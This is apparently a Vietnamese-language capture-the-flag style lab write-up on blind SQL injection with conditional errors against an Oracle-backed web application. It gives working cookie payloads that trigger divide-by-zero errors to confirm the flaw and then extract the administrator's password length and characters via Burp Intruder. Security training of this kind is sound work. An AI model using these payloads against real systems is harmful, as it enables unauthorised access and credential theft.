Lab: Blind SQL injection with conditional errors

Mô tả

Phòng thí nghiệm này chứa lỗ hổn Blind SQL injection. Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL có chứa giá trị của cookie đã gửi.

Kết quả của truy vấn SQL không được trả về và ứng dụng không phản hồi khác nhau tùy thuộc vào việc truy vấn có trả về bất kỳ hàng nào hay không. Nếu truy vấn SQL gây ra lỗi, thì ứng dụng sẽ trả về thông báo lỗi tùy chỉnh.

Cơ sở dữ liệu chứa một bảng khác có tên là users, với các cột có tên là usernamepassword.

Mục tiêu: Khai thác lỗ hổng SQL injection để tìm ra mật khẩu của người administratordùng.

Phân tích

Kích hoạt lỗi trên CSDL Oracle

SELECT CASE WHEN (CONDITION) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

Dựa vào để xác định có thể khai thác blind SQL injection bằng kích hoạt lỗi có điều kiện hay không

' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a

Với đầu vào điều kiện là sai,CASEbiểu thức được đánh giá là 'a', không gây ra bất kỳ lỗi nào

' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a

Với đầu vào điều kiện là đúng, nó sẽ đánh giá là 1/0, gây ra lỗi chia cho không

Dựa vào lỗ hổng này có thể lấy dữ liệu bằng mật khẩu administrator bằng cách kiểm tra từng ký tự một

' AND (SELECT CASE WHEN (username = 'administrator' AND SUBSTRING(password, 1, 1) > 'm') THENTO_CHAR(1/0) ELSE 'l' END FROM users)='l

Giải pháp

Xác định độ dài mật khẩu

' AND (SELECT CASE WHEN (LENGTH(password) > 10) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username = 'administrator')='a

Gây ra lỗi nên điều kiện này là đúng

' AND (SELECT CASE WHEN (LENGTH(password) < 30) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username = 'administrator')='a

Gây ra lỗ nên điều kiện này là đúng

Vậy độ dài password trong trong đoạn [11;29]

Sử dụng Intruder để bruteforce độ dài

Đồ dài phản hồi thay đổi tại giá trị 20. Như vậy xác định được password là 20

Xác định từng ký tự

' AND (SELECT CASE WHEN (substr(password, 1, 1) = 'a') THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username = 'administrator')='a

Lọc các status code 500 để xác định từng ký tự của mật khẩu

Last updated